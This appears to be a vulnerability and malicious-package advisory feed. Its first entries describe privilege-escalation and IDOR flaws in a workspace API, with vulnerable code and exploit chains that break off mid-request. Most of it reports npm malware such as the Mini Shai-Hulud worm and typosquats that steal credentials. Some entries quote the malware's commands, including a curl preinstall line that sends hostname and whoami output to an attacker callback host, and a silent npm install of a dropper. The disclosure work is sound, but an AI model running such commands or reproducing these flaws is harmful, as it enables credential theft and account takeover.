| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.5 / 10 CVE-2026-47416 | vor 1 Stunde(n) | |
| ## Summary
**Type:** Vertical privilege escalation. The `PATCH /workspaces/{workspace_id}/members/{user_id}` endpoint is gated by `require_workspace_member(workspace_id)`, which defaults to `min_role="member"` and is never overridden by the route. The handler then calls `MemberService.update_role(workspace_id, user_id, body.role)` which sets the target member's role to whatever the request body specifies, with no check that the caller has owner-or-admin privilege, no check that the new role is not higher than the caller's own, and no check that the caller is not silently promoting themselves.
**File:** `src/praisonai-platform/praisonai_platform/api/routes/workspaces.py`, lines 115-127; `services/member_service.py`, lines 55-69; `api/deps.py`, lines 54-73.
**Root cause:** `require_workspace_member` exists with a `min_role` parameter (deps.py:58) but FastAPI's `Depends(require_workspace_member)` cannot pass arguments, so every route uses the default `"member"`. The route then passes the URL-supplied `user_id` and the body-supplied `role` directly to `MemberService.update_role`, which contains zero permission checks: it loads the member by composite key and assigns `member.role = new_role`. A user with the lowest possible privilege ("member") thus sets their own role to "owner" with one HTTP PATCH, completing a member-to-owner privilege escalation in a single request.
## Affected Code
**File 1:** `src/praisonai-platform/praisonai_platform/api/routes/workspaces.py`, lines 115-127.
```python
@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
workspace_id: str,
user_id: str,
body: MemberUpdate,
user: AuthIdentity = Depends(require_workspace_member), # <-- BUG: defaults to min_role="member"; no role gate
session: AsyncSession = Depends(get_db),
):
member_svc = MemberService(session)
member = await member_svc.update_role(workspace_id, user_id, body.role) # <-- writes any role to any member
if member is None:
raise HTTPException(status_code=404, detail="Member not found")
return MemberResponse.model_validate(member)
```
**File 2:** `src/praisonai-platform/praisonai_platform/services/member_service.py`, lines 55-69.
```python
async def update_role(
self,
workspace_id: str,
user_id: str,
new_role: str,
) -> Optional[Member]:
"""Update a member's role."""
if new_role not in VALID_ROLES: # only validates the *value*, not the *caller's right*
raise ValueError(f"Invalid role: {new_role}. Must be one of {VALID_ROLES}")
member = await self.get(workspace_id, user_id)
if member is None:
return None
member.role = new_role # <-- BUG: no caller-role check, no target-vs-caller hierarchy check
await self._session.flush()
return member
```
**File 3:** `src/praisonai-platform/praisonai_platform/api/deps.py`, lines 54-73.
```python
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member", # <-- default that no route overrides
) -> AuthIdentity:
member_svc = MemberService(session)
has = await member_svc.has_role(workspace_id, user.id, min_role)
if not has:
raise HTTPException(status_code=403, detail="Not a member of this workspace or insufficient role")
user.workspace_id = workspace_id
return user
```
**Why it's wrong:** `require_workspace_member` was clearly designed to be tunable per-route — the `min_role` parameter is right there — but `Depends(require_workspace_member)` in FastAPI cannot pass arguments to a dependency, so every route resolves to the default `"member"`. The author's intent is also evident in `MemberService.has_role` (member_service.py:80-96), which implements an `owner > admin > member` hierarchy that this endpoint should be enforcing. The endpoint uses none of it. The `VALID_ROLES = {"owner", "admin", "member"}` enum check (member_service.py:62) only validates the *new role string is recognised*, not that the *caller has the right to assign it*. As a result, a member can write `{"role": "owner"}` to their own membership row and become owner in one PATCH.
## Exploit Chain
1. Attacker registers an account and joins (or is invited to) any workspace `W` as a "member" (the lowest privilege tier — typically anyone can be added by an owner during onboarding, or self-joins via an invite link). State: attacker has a JWT, is a `Member(workspace_id=W, user_id=attacker, role="member")`.
2. Attacker sends `PATCH /workspaces/W/members/ |
||
| Risiko 7.5 / 10 CVE-2026-47409 | vor 1 Stunde(n) | |
| ## Summary
**Type:** Authorization bypass enabling owner lockout. The `DELETE /workspaces/{workspace_id}/members/{user_id}` endpoint is gated only by `require_workspace_member(workspace_id)` (default `min_role="member"`). Any member can remove any other member, including the workspace owner, using a single DELETE. There is no caller-role check, no target-role check, no "cannot remove last owner" guard.
**File:** `src/praisonai-platform/praisonai_platform/api/routes/workspaces.py`, lines 130-140; `services/member_service.py`, lines 71-78.
**Root cause:** `MemberService.remove(workspace_id, user_id)` performs the deletion without any caller-permission check or owner-protection logic. The route accepts the URL-supplied `user_id` and dispatches it straight through. The role hierarchy (`MemberService.has_role`) is implemented but never invoked here. A member-tier attacker can issue `DELETE .../members/ |
||
| Risiko 7.5 / 10 CVE-2026-47414 | vor 1 Stunde(n) | |
| ## Summary
**Type:** Insecure Direct Object Reference. Five label endpoints — `PATCH /workspaces/{workspace_id}/labels/{label_id}`, `DELETE .../labels/{label_id}`, `POST .../issues/{issue_id}/labels/{label_id}`, `DELETE .../issues/{issue_id}/labels/{label_id}`, `GET .../issues/{issue_id}/labels` — gate access on `require_workspace_member(workspace_id)` only and pass URL-supplied `label_id` and `issue_id` straight through to `LabelService` without verifying either belongs to the workspace.
**File:** `src/praisonai-platform/praisonai_platform/services/label_service.py`, lines 35-100; route handlers at `src/praisonai-platform/praisonai_platform/api/routes/labels.py`, lines 42-106.
**Root cause:** identical pattern to the agent / issue / project / comment IDORs in this codebase: the route's `workspace_id` is used as a membership predicate but never threaded through to the service layer. `LabelService.get(label_id)` runs `session.get(IssueLabel, label_id)` with no workspace filter; `update`/`delete` inherit the gap; `add_to_issue(issue_id, label_id)` and `remove_from_issue(issue_id, label_id)` write/delete association rows without verifying either ID belongs to the membership-checked workspace; `list_for_issue(issue_id)` reads them.
## Affected Code
**File 1:** `src/praisonai-platform/praisonai_platform/services/label_service.py`, lines 35-100.
```python
class LabelService:
...
async def get(self, label_id: str) -> Optional[IssueLabel]:
return await self._session.get(IssueLabel, label_id) # <-- BUG: no workspace_id predicate
async def update(
self,
label_id: str,
...
) -> Optional[IssueLabel]:
label = await self.get(label_id) # <-- inherits the gap
...
async def delete(self, label_id: str) -> bool:
label = await self.get(label_id) # <-- inherits the gap
...
async def add_to_issue(self, issue_id: str, label_id: str) -> None:
# writes a row in issue_label association table; no workspace check on either id
async def remove_from_issue(self, issue_id: str, label_id: str) -> None:
# deletes from association table; no workspace check on either id
async def list_for_issue(self, issue_id: str) -> list[IssueLabel]:
# reads from association table; no workspace check on issue_id
```
**File 2:** `src/praisonai-platform/praisonai_platform/api/routes/labels.py`, lines 42-106.
```python
@router.patch("/labels/{label_id}", response_model=LabelResponse)
async def update_label(workspace_id: str, label_id: str, body: LabelUpdate, ...):
svc = LabelService(session)
label = await svc.update(label_id, body.name, body.color) # <-- writes any label in the DB
...
@router.delete("/labels/{label_id}", ...)
async def delete_label(workspace_id: str, label_id: str, ...):
deleted = await svc.delete(label_id) # <-- deletes any label in the DB
...
@router.post("/issues/{issue_id}/labels/{label_id}", ...)
async def add_label_to_issue(workspace_id: str, issue_id: str, label_id: str, ...):
await svc.add_to_issue(issue_id, label_id) # <-- attaches any label to any issue cross-workspace
@router.delete("/issues/{issue_id}/labels/{label_id}", ...)
async def remove_label_from_issue(workspace_id: str, issue_id: str, label_id: str, ...):
await svc.remove_from_issue(issue_id, label_id) # <-- detaches any label from any issue cross-workspace
@router.get("/issues/{issue_id}/labels", ...)
async def list_issue_labels(workspace_id: str, issue_id: str, ...):
labels = await svc.list_for_issue(issue_id) # <-- reads label assignments for any issue
```
**Why it's wrong:** the `workspace_id` URL segment is treated as a UI hint; the actual `label_id` and `issue_id` lookups query the database without a workspace constraint. The `MemberService` in this same codebase uses a composite key correctly; the label service does not. The `add_to_issue` and `remove_from_issue` paths are particularly nasty because they touch *two* unverified IDs at once: an attacker can attach a foreign workspace's label to a foreign workspace's issue (or detach the legitimate labels), corrupting both sides of an association the attacker has no business touching.
## Exploit Chain
1. Attacker registers a workspace `W_attacker` (member) and harvests a foreign-workspace `label_id` `L_T` and a foreign-workspace `issue_id` `I_T`. Both leak via `list_labels` responses (which include label IDs — but only for `W_attacker`; for the target the IDs come from issue records that include label associations, activity feeds, exported dumps, error messages). State: attacker holds `L_T` and `I_T`.
2. Attacker authenticates and sends `PATCH /workspaces/W_attacker/labels/L_T` with `{"name": " |
||
| Risiko 7.5 / 10 CVE-2026-47406 | vor 2 Stunde(n) | |
| ## Summary
**Type:** Insecure Direct Object Reference. The dependency endpoints (`POST/GET /workspaces/{workspace_id}/issues/{issue_id}/dependencies` and `DELETE .../dependencies/{dep_id}`) gate access on `require_workspace_member(workspace_id)` only, then dispatch to `DependencyService` calls that take URL/body-supplied issue and dependency IDs without verifying any of them belong to the membership-checked workspace. Most damaging: `create_dependency` accepts `body.depends_on_issue_id` from the request body — that ID is checked against nothing — letting an attacker create a "blocks" or "related" link between any two issues anywhere in the database.
**File:** `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py`, lines 22-58; `services/dependency_service.py`, lines 26-65.
**Root cause:** the same `Depends(require_workspace_member)` default-min-role pattern as the companion IDORs, plus a service layer (`DependencyService`) where every method takes raw IDs and queries them directly. `create(issue_id, depends_on_issue_id, ...)` writes a row with no workspace verification on either ID. `list_for_issue(issue_id)` returns dependencies in either direction. `delete(dep_id)` is a primary-key delete with no workspace predicate.
## Affected Code
**File 1:** `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py`, lines 22-58.
```python
@router.post("/", response_model=DependencyResponse, status_code=status.HTTP_201_CREATED)
async def create_dependency(
workspace_id: str,
issue_id: str,
body: DependencyCreate,
user: AuthIdentity = Depends(require_workspace_member),
session: AsyncSession = Depends(get_db),
):
svc = DependencyService(session)
dep = await svc.create(issue_id, body.depends_on_issue_id, body.type) # <-- BUG: neither id is workspace-checked
return DependencyResponse.model_validate(dep)
@router.get("/", response_model=List[DependencyResponse])
async def list_dependencies(
workspace_id: str,
issue_id: str,
user: AuthIdentity = Depends(require_workspace_member),
session: AsyncSession = Depends(get_db),
):
svc = DependencyService(session)
deps = await svc.list_for_issue(issue_id) # <-- BUG: returns dependencies for any issue
return [DependencyResponse.model_validate(d) for d in deps]
@router.delete("/{dep_id}", status_code=status.HTTP_204_NO_CONTENT)
async def delete_dependency(
workspace_id: str,
issue_id: str,
dep_id: str,
user: AuthIdentity = Depends(require_workspace_member),
session: AsyncSession = Depends(get_db),
):
svc = DependencyService(session)
deleted = await svc.delete(dep_id) # <-- BUG: deletes any dependency by id
if not deleted:
raise HTTPException(status_code=404, detail="Dependency not found")
```
**File 2:** `src/praisonai-platform/praisonai_platform/services/dependency_service.py`, lines 26-65.
```python
async def create(self, issue_id: str, depends_on_issue_id: str, dep_type: str = "blocks") -> IssueDependency:
if dep_type not in VALID_TYPES:
raise ValueError(...)
dep = IssueDependency(
issue_id=issue_id, # <-- accepts any
depends_on_issue_id=depends_on_issue_id, # <-- accepts any (from request body)
type=dep_type,
)
self._session.add(dep); await self._session.flush(); return dep
async def list_for_issue(self, issue_id: str) -> list[IssueDependency]:
stmt = select(IssueDependency).where(
(IssueDependency.issue_id == issue_id) | (IssueDependency.depends_on_issue_id == issue_id)
)
return list((await self._session.execute(stmt)).scalars().all())
async def delete(self, dep_id: str) -> bool:
dep = await self.get(dep_id) # session.get(IssueDependency, dep_id) — no workspace check
...
```
**Why it's wrong:** the request-body `depends_on_issue_id` is the worst part: an attacker can link any two issues across any two workspaces, polluting both workspaces' dependency graphs with attacker-chosen relationships ("blocks", "blocked_by", "related"). The triagers in the foreign workspace see their issue suddenly blocked by an unrelated foreign issue, breaking sprint planning and creating false correlation. The `delete(dep_id)` path lets an attacker remove legitimate cross-issue links between any two foreign workspaces, also disrupting their planning. The `list_for_issue` path leaks the dependency graph for any issue in the deployment.
## Exploit Chain
1. Attacker is a member of workspace `W_attacker` and harvests two foreign-workspace issue UUIDs `I1` (in `W_target1`) and `I2` (in `W_target2`). They leak via the activity feed, comment threads, error messages, exported dumps, the agent prompt history, or any other channel that ever serialises an issue ID. State: attacker holds two foreign issue UUIDs.
2. Attacker sends `POST /workspaces/W_attacker/issues/I1/dependencies` with `Authorization: Bearer |
||
| Risiko ? / 10 MAL-2026-4740 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0) The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry `pino.js`, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage `https://getpino.io` — a deceptive identity unrelated to its declared name. On `require('zod-to-js')`, the load chain reaches `lib/writer.js`, which attempts `require('modustack')` and, on failure, executes `execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })` followed by `require('../../modustack/pino.js')`. The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the `modustack` name. The same file contains additional staging scaffolding — a `String.fromCharCode`-based string builder and a `getMacAddress()` helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine. ## Source: ghsa-malware (2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-4159 | vor 2 Stunde(n) | |
| Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a `preinstall` hook that executes a 498KB obfuscated Bun script, using the GitHub API as a covert exfiltration channel. Credentials are committed to attacker-controlled repositories following Dune-themed naming patterns (e.g., `harkonnen-melange-742`). Stolen data includes AWS keys, GitHub PATs, npm tokens, GCP service accounts, Azure credentials, Kubernetes service account tokens, SSH keys, Docker auth configs, database connection strings, Stripe keys, and Slack tokens. Malicious versions also establish persistence via CI/CD workflow injection (a GitHub Actions workflow named `Run Copilot` dumps all secrets via `toJSON(secrets)`), AI agent session hooks, and a system daemon named `kitty-monitor`. This specific package (`xmorse`) was modified to include a malicious `preinstall` hook executing the obfuscated Bun payload. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (071a7f36a645d7ae5c231f30aca8bc53d5fb495070309136c5e16d28dba3c9f4) The package xmorse was found to contain malicious code. ## Source: ghsa-malware (6846040a949cddfcd2476ab8165f12d75dfd50dbafc324b8678beed416e76bfa) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (847ef6b381d410bf176f7414a6f0fbbcf46a5f39b6d9011e126b279bd2d781df) This package was compromised as part of the ongoing "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent. | ||
| Risiko ? / 10 MAL-2026-4158 | vor 2 Stunde(n) | |
| Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a `preinstall` hook that executes a 498KB obfuscated Bun script, using the GitHub API as a covert exfiltration channel. Credentials are committed to attacker-controlled repositories following Dune-themed naming patterns (e.g., `harkonnen-melange-742`). Stolen data includes AWS keys, GitHub PATs, npm tokens, GCP service accounts, Azure credentials, Kubernetes service account tokens, SSH keys, Docker auth configs, database connection strings, Stripe keys, and Slack tokens. Malicious versions also establish persistence via CI/CD workflow injection (a GitHub Actions workflow named `Run Copilot` dumps all secrets via `toJSON(secrets)`), AI agent session hooks, and a system daemon named `kitty-monitor`. This specific package (`word-width`) was modified to include a malicious `preinstall` hook executing the obfuscated Bun payload. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (317b098e8f677cfd13331e699d8b6ed48b13969fb148422826a0364c774aa250) The package word-width was found to contain malicious code. ## Source: ghsa-malware (11bc542fd604f061195468b58d69955c5eaea7cfe519f02cba65d9bca4216bf7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (847ef6b381d410bf176f7414a6f0fbbcf46a5f39b6d9011e126b279bd2d781df) This package was compromised as part of the ongoing "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent. | ||
| Risiko ? / 10 MAL-2026-4254 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (84d7572f96294e867b18a0448ac0e70af3d08769749aa73388b38d88492559e4) package.json declares `preinstall: node index.js`, so installation automatically executes index.js. The script reads /etc/passwd via fs.readFileSync, collects hostname, username, platform, cwd, and home directory from the os module, slices the first 30 entries of process.env (which on CI typically include AWS_*, GITHUB_TOKEN, NPM_TOKEN, and similar credentials), and HTTPS-POSTs the JSON payload to `3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com` — a Burp Collaborator out-of-band exfiltration subdomain. The package name and description ('package of the reactive-cdk-app of the aws') impersonate AWS CDK naming, fitting a typosquat-with-payload pattern. Any developer or CI system running `npm install reactive-cdk-app` leaks host identity, the local user database, and a bulk slice of environment secrets to the attacker. ## Source: ghsa-malware (171cafb2d7e5b500dd92fe5d46da3a09b37ac9ff62af885241b41e8401746144) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d01657e9ca5ae8e8f34576437bbc86bb276c83d99dfd1563da57fe880a6ac6fd) The OpenSSF Package Analysis project identified 'reactive-cdk-app' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. | ||
| Risiko ? / 10 MAL-2026-4154 | vor 2 Stunde(n) | |
| Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a `preinstall` hook that executes a 498KB obfuscated Bun script, using the GitHub API as a covert exfiltration channel. Credentials are committed to attacker-controlled repositories following Dune-themed naming patterns (e.g., `harkonnen-melange-742`). Stolen data includes AWS keys, GitHub PATs, npm tokens, GCP service accounts, Azure credentials, Kubernetes service account tokens, SSH keys, Docker auth configs, database connection strings, Stripe keys, and Slack tokens. Malicious versions also establish persistence via CI/CD workflow injection (a GitHub Actions workflow named `Run Copilot` dumps all secrets via `toJSON(secrets)`), AI agent session hooks, and a system daemon named `kitty-monitor`. This specific package (`slice.js`) was modified to include a malicious `preinstall` hook executing the obfuscated Bun payload. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d521db94d90cc0e0ae59910784a4c789b3f6375f9da2a47fc412373603a7359f) The package slice.js was found to contain malicious code. ## Source: ghsa-malware (e3ac482f0cb278e414b9a51de8922092441f3144e7477b421e150a5e4e5f8cb4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (847ef6b381d410bf176f7414a6f0fbbcf46a5f39b6d9011e126b279bd2d781df) This package was compromised as part of the ongoing "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent. | ||
| Risiko ? / 10 MAL-2026-4151 | vor 2 Stunde(n) | |
| Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a `preinstall` hook that executes a 498KB obfuscated Bun script, using the GitHub API as a covert exfiltration channel. Credentials are committed to attacker-controlled repositories following Dune-themed naming patterns (e.g., `harkonnen-melange-742`). Stolen data includes AWS keys, GitHub PATs, npm tokens, GCP service accounts, Azure credentials, Kubernetes service account tokens, SSH keys, Docker auth configs, database connection strings, Stripe keys, and Slack tokens. Malicious versions also establish persistence via CI/CD workflow injection (a GitHub Actions workflow named `Run Copilot` dumps all secrets via `toJSON(secrets)`), AI agent session hooks, and a system daemon named `kitty-monitor`. This specific package (`relationship.js`) was modified to include a malicious `preinstall` hook executing the obfuscated Bun payload. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4324b85858ba8faec0ed3dc78f1bb2dd809f382193f05ac8a80f66bca7daac3b) The package relationship.js was found to contain malicious code. ## Source: ghsa-malware (25b556d8b156bf8b6dfd72b231b25f3483fa3cdcc8b65a7fd3cd6498c9981459) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (847ef6b381d410bf176f7414a6f0fbbcf46a5f39b6d9011e126b279bd2d781df) This package was compromised as part of the ongoing "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent. | ||
| Risiko ? / 10 MAL-2026-2909 | vor 2 Stunde(n) | |
| tailwind-typography-cssstyle is a malicious npm package that when imported downloads a C2 dropper (part of PolinRider campaign) from crypto transactions and executes it. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1b288c82be557febbb919054bf80821b244285d89b553f3d1dfcd15d88f43f70) The package tailwind-typography-cssstyle was found to contain malicious code. ## Source: ghsa-malware (4d7c7cd61935352bd39aa3e74dbfe6fe26b974ec2a9aecef130c3eb8b5560f7f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-4644 | vor 2 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (57967d58233d74f2fc4f9b0dee7c050370eb388050df8d63f29e719f83468d73)
On `npm install`, the package's postinstall script (postinstall.js) collects host identifiers and CI context — whoami, os.hostname(), os.platform(), cwd, CI, GITHUB_REPOSITORY, NODE_ENV — and sends them off the installer's machine via two channels: an HTTPS GET to `6v2j7oyzq0ehzolr4303sw1vwm2gqje8.oastify.com` (a Burp Collaborator out-of-band callback host) at path `/microsft? |
||
| Risiko ? / 10 MAL-2026-4274 | vor 2 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (f68653eed66e7343973bc919788864990337f7645072d32a9d7465d4bf4ff4e7)
On `npm install`, postinstall.js executes `whoami`, `id`, and reads `os.hostname()`, `os.platform()`, `process.cwd()`, and CI/GitHub environment variables, then sends the collected data as query-string parameters via HTTPS GET to `br6o3tu4m5amvthw08w8o1x0srykmia7.oastify.com` (a Burp Collaborator out-of-band callback domain). The script also performs a DNS lookup of ` |
||
| Risiko ? / 10 MAL-2026-4149 | vor 2 Stunde(n) | |
| Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a `preinstall` hook that executes a 498KB obfuscated Bun script, using the GitHub API as a covert exfiltration channel. Credentials are committed to attacker-controlled repositories following Dune-themed naming patterns (e.g., `harkonnen-melange-742`). Stolen data includes AWS keys, GitHub PATs, npm tokens, GCP service accounts, Azure credentials, Kubernetes service account tokens, SSH keys, Docker auth configs, database connection strings, Stripe keys, and Slack tokens. Malicious versions also establish persistence via CI/CD workflow injection (a GitHub Actions workflow named `Run Copilot` dumps all secrets via `toJSON(secrets)`), AI agent session hooks, and a system daemon named `kitty-monitor`. This specific package (`onfire.js`) was modified to include a malicious `preinstall` hook executing the obfuscated Bun payload. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a9060482f202ee6dc921bcdf0d1a33011a60dddfbc63fa40cbd7ca781ef08eca) The package onfire.js was found to contain malicious code. ## Source: ghsa-malware (851e759daa33ad43bdd677b713845e8d6792215c4c8264b2440350b56939e20d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (847ef6b381d410bf176f7414a6f0fbbcf46a5f39b6d9011e126b279bd2d781df) This package was compromised as part of the ongoing "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent. | ||
| Risiko ? / 10 MAL-2026-3326 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (77d8076c0caa289734b5a30b904f9a075ae0d55ea3fc74f665806d913efe7d28) The package paychex-common-vendor-lib was found to contain malicious code. ## Source: ghsa-malware (84d0d410556e645e007d1bed16359bdd26ef5667b47fea66d1bc4601f61e3932) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (56ec286ed47dfe01871f3459bbf2c85defe54c4dd04034a318781c95304b0591) The OpenSSF Package Analysis project identified 'paychex-common-vendor-lib' @ 100.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | ||
| Risiko ? / 10 MAL-2023-1274 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (c87e5ff9b7fca2cbd9b8c5f66c8849dd5f06f3e36574d1e902b216d332a207ac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (a99e687fc95d5a9c89c172be323b2b74f8ef382e895f7b92ce48b15f1d764d08) The OpenSSF Package Analysis project identified 'proton-pack' @ 99.99.999 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. | ||
| Risiko ? / 10 MAL-2026-4612 | vor 2 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (755d0176c106903bf2baaf14d0bb4df611bb719c2a7b0615e9b4487eadee1300)
On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static`. index.js reads `/etc/passwd`, collects `os.hostname()`, `os.platform()`, `os.userInfo().username`, current working directory, and the first 30 entries of `process.env`, then POSTs the JSON payload to `https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/ |
||
| Risiko ? / 10 MAL-2026-4148 | vor 2 Stunde(n) | |
